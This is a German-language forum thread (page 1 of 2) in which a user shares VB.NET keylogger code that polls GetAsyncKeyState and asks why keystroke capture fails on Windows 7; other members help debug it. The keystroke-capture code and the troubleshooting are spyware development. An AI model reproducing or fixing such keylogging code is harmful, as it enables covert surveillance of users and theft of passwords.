Seite 1 von 2 12 Letzte
  1. #1

    Registriert seit
    31.01.2011
    Beiträge
    12
    Thanked 0 Times in 0 Posts

    Standard Keylogger hat unter Win7 bug

    Hey Leute,
    Ich hab vor einiger Zeit mal einen Keylogger geschrieben, ihn immer wieder verfeinert und auch extra Funktionen (wie z.B.: Welche Fenster sind offen, und in welchen fenster schreibt er grade) eingefügt. Er konnte Sonderzeichen, Pfeiltasten,...

    Dies Funktionierte alles unter Win XP und Vista. Unter Win 7 bugt er allerdings. Die Zusatzfunktionen funktionieren noch alle. Nur das Mitspeichern der Tastertureingaben funktioniert nicht. :cry:

    Weiß einer von euch dafür eine Lösung?

    Danke schon mal im Vorraus

    Einlesen geht vereinfacht bei mir so:

    Dim
    result AsInteger
    Dim i AsInteger
    For i = 1 To 255
    result = 0
    result = GetAsyncKeyState(i)
    If result = -32767 Then
    TextBox1.Text &= Chr(i)
    End If

  2. #2

    Registriert seit
    02.11.2011
    Beiträge
    54
    Thanked 26 Times in 20 Posts

    Standard Keylogger hat unter Win7 bug

    Man müsste schon den kompletten Code sehen.
    Wenn du zb. Keyboard Hooks benutzt mit Unmanaged Code, dann könnte es da probleme geben.

  3. #3

    Registriert seit
    31.01.2011
    Beiträge
    12
    Thanked 0 Times in 0 Posts

    Standard Keylogger hat unter Win7 bug

    PrivateSub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
    Dim result AsLong
    Dim key AsString
    Dim i AsInteger
    For i = 1 To 255
    result = 0
    result = GetAsyncKeyState(i)
    If result = -32767 Then
    key = Chr(i)
    If i = 1 Then
    key = "[Linksklick]"
    ElseIf i = 2 Then
    key = "[Rechtsklick]"
    ElseIf i = 8 Then
    key = "[Del]"
    ElseIf i = 16 Then
    key = "[Umschalt]"
    ElseIf i = 17 Then
    key = "[Strg]"
    ElseIf i = 18 Then
    key = "[Alt]"
    ElseIf i = 37 Then
    key = "[Links]"
    ... 'Hier stehen nur weitere Sonderfälle
    ElseIf i = 192 Then
    key = "ö"
    ElseIf i = 219 Then
    key = "ß"
    ElseIf i = 220 Then
    key = "^"
    ElseIf i = 221 Then
    key = "´"
    ElseIf i = 222 Then
    key = "ä"
    ElseIf i = 226 Then
    key = "<"
    EndIf
    If i = 13 Then
    key = vbNewLine
    Exit For
    EndIf
    EndIf
    Next
    TextBox1.Text &= key
    If key <> NothingThen
    IfMy.Computer.Keyboard.ShiftKeyDown OrElseMy.Computer.Keyboard.CapsLock Then
    TextBox1.Text &= key
    Else
    TextBox1.Text &= key.ToLower
    EndIf
    EndIf
    EndSub


    ------------

    Das ist der gesamte Einlesecode. (99% der Ausnahmen hab ich mir von einer Seite kopiert)

  4. #4

    Registriert seit
    02.11.2011
    Beiträge
    54
    Thanked 26 Times in 20 Posts

    Standard Keylogger hat unter Win7 bug

    ...Das ist doch nicht der komplette Code ?
    Du wirst doch irgendwelche Hooks oder sowas benutzen, oder nich ? :-P

  5. #5

    Registriert seit
    31.01.2011
    Beiträge
    12
    Thanked 0 Times in 0 Posts

    Standard Keylogger hat unter Win7 bug

    Nein ich verwende keine, da es (bis Win7) auch so funktionierte.

  6. #6

    Registriert seit
    02.11.2011
    Beiträge
    54
    Thanked 26 Times in 20 Posts

    Standard Keylogger hat unter Win7 bug

    Also wenn du keine Hooks oder sowas verwendest (was ich mir nicht vorstellen kann), dann darf da kein Bug sein.
    Wird keine Exception geworfen oder sowas ?

  7. #7

    Registriert seit
    31.01.2011
    Beiträge
    12
    Thanked 0 Times in 0 Posts

    Standard Keylogger hat unter Win7 bug

    Das ist der Code von der ersten Version. Der war nur für Tastereingabe abfangen (unter Vista damals). Und der Teil hat sich bis jetzt nicht verändert.

    Nein keine Exception, die Textbox bleibt einfach nur leer. Wenn ich es aber unter Vista teste, funktioniert alles.

  8. #8

    Registriert seit
    28.06.2013
    Beiträge
    2
    Thanked 0 Times in 0 Posts

    Standard Keylogger hat unter Win7 bug

    War das nicht so, dass "GetAsyncKeyState" unter 7 nicht funktioniert?

  9. #9

    Registriert seit
    02.11.2011
    Beiträge
    54
    Thanked 26 Times in 20 Posts

    Standard Keylogger hat unter Win7 bug

    Code:
       [DllImport("User32.dll")]
       private static extern short GetAsyncKeyState( System.Windows.Forms.Keys vKey);
    ... Was hab ich denn gesagt ?
    Wenn du nen Hook oder sowas benutzt, kann es sein das der nich funktioniert.
    Das ist Unmanaged Code, da kannste dich nich drauf verlassen.

    EDIT:
    Google hätte geholfen ;-)
    http://social.msdn.microsoft.com/For...a-082456de76d0

  10. #10
    Avatar von Sky.NET
    Registriert seit
    26.11.2011
    Beiträge
    2.462
    Thanked 2.718 Times in 1.287 Posts
    Blog Entries
    7

    Standard Keylogger hat unter Win7 bug

    Zitat Zitat von v3n3 Beitrag anzeigen
    Code:
       [DllImport("User32.dll")]
       private static extern short GetAsyncKeyState( System.Windows.Forms.Keys vKey);
    ... Was hab ich denn gesagt ?
    Wenn du nen Hook oder sowas benutzt, kann es sein das der nich funktioniert.
    Das ist Unmanaged Code, da kannste dich nich drauf verlassen.

    EDIT:
    Google hätte geholfen ;-)
    Does GetAsyncKeyState not work in Windows 7?

    Jo deswegen gibts ja auch die Win-API, weil Windows so unstable ist, is ja schließlich auch noch Alpha oder?
    Hast eig. ma drüber nachgedacht aufzuhören so nen Dreck hier zu verbreiten?
    Java:
    Spoiler:

    Lustige Quotes:
    Spoiler:
    Zitat Zitat von Hydra Beitrag anzeigen
    Hier (in Deutschland) kann man keine andere tolle Aktivitäten machen, als zu chillen, shoppen, saufen und Partys feiern xD Ich habe nichts gegen ab und zu mal saufen und Partys feiern, aber das ist doch nicht wirklich das wahre Leben o_o
    Wieso das Internet für die meisten Leute gefährlich ist:
    Zitat Zitat von Silent Beitrag anzeigen
    Ich weiß ja nicht was der Sinn dahinter steckt es heißt immer "security reasons".

Seite 1 von 2 12 Letzte

Ähnliche Themen

  1. Name der Textdateien die durch Keylogger erstellt werden
    Von One Way im Forum Internet und Technik
    Antworten: 6
    Letzter Beitrag: 23.08.2013, 01:35
  2. SVZ Keylogger Opensource .NET
    Von APay im Forum Showroom
    Antworten: 1
    Letzter Beitrag: 11.07.2011, 20:12
  3. Keylogger eigentlich fertig,aber wo ist der Fehler?
    Von Resident im Forum Hochsprachen
    Antworten: 5
    Letzter Beitrag: 24.06.2011, 16:33
Diese Seite nutzt Cookies, um das Nutzererlebnis zu verbessern. Klicken Sie hier, um das Cookie-Tracking zu deaktivieren.